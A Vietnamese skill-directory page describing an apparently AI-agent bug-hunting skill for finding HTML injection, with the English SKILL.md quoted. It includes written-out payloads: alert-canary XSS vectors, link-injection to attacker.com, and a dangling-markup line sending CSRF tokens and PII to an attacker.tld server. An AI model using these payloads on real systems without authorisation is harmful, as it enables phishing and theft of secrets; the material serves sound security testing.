Chuyển đến nội dung
Skillpedia
Bảo mật5.4k · #14913

hunt-html-injection

Skill này làm gì

Skill này kiểm tra xem dữ liệu đầu vào có được hiển thị dưới dạng HTML chưa thoát hay không, điều ít nghiêm trọng hơn chèn script nhưng vẫn có thể gây hiểu lầm cho người dùng. Nó dành cho kiểm thử được ủy quyền các ô tìm kiếm, hồ sơ và bình luận.

Khi nào nên dùng

  • ✓Khi một ô tìm kiếm, trường hồ sơ hoặc bình luận có thể hiển thị HTML thô.
  • ✓Khi một thông báo lỗi hiển thị dữ liệu người dùng mà không được thoát.
  • ✓Khi bạn muốn xác nhận HTML được chèn có thể hiển thị một biểu mẫu đăng nhập giả không.

Liên kết skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem ô bình luận của chúng tôi có hiển thị HTML thô trong kiểm thử được ủy quyền không, và cho thấy tác động không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent đặt một dấu hiệu duy nhất, vô hại vào đầu vào và kiểm tra xem HTML có được hiển thị như đánh dấu không. Sau đó nó xác nhận tác động bằng một kiểm tra rõ ràng cho thấy rủi ro.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

What is HTML Injection

HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.

To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.

Impact:

  • Phishing via injected <form> or <a href="attacker.com"> tags
  • UI defacement — <h1>HACKED</h1> renders visually on the page
  • Credential harvesting via injected login forms
  • Redirect via <meta http-equiv="refresh">
  • Stepping stone to XSS (may be blocked by WAF on <script> but not <img onerror>)
  • Dangling-markup exfiltration — even with <script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.
  • Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected <a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.

Attack Surface

Any input that is reflected or stored and then displayed in an HTML context:

  • Search boxes (?q=)
  • Comments, feedback, reviews
  • Profile fields (name, bio, username)
  • Error messages (?error=, ?message=)
  • Subject / body of contact forms
  • Admin-visible fields (ticket titles, usernames in logs)

Autonomous Testing Priority

Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.

Pattern 1 — Basic HTML tag injection:

<b>CANARY</b>
"><b>CANARY</b>

Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not &lt;b&gt;CANARY. A properly encoded app would escape < to &lt;.

Try multiple tag types when <b> is filtered:

  • <h1>CANARY</h1> — heading tag (often less filtered)
  • <img src=x onerror=CANARY> — attribute context
  • <a href="https://attacker.com">click</a> — link injection (phishing proof)

For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.

Escalate immediately: if <b> injection works, try <script>alert(1)</script> — the same unsanitised input may allow full XSS.

Proof

Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders &lt;b&gt;CANARY&lt;/b&gt;; a vulnerable app renders <b>CANARY</b>.

Distinguishing HTML Injection from XSS

  • HTML injection: <b>text</b> renders as text in the browser — no JS execution needed.
  • XSS: <script>alert(1)</script> executes JavaScript.

Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.

Câu hỏi thường gặp

HTML injection khác XSS thế nào?

HTML injection không cần JavaScript chạy, nên skill đánh giá nó có mức nghiêm trọng thấp hơn XSS nói chung.

Dangling markup là gì?

Đó là một thẻ chưa đóng có thể nắm bắt nội dung trang phía sau nó, skill ghi chú.

Vì sao dùng một số duy nhất?

Một số riêng giúp chứng minh mã được chèn là của bạn chứ không phải văn bản mẫu đã có sẵn trên trang.

Chi tiết

Mô tả gốc của tác giả

Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.

repo: elementalsouls/Claude-BugHunter

Độ phổ biến

Sao GitHub
5.4k
Vị trí xếp hạng
#14913
Giấy phép
MIT
Cập nhật
2/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự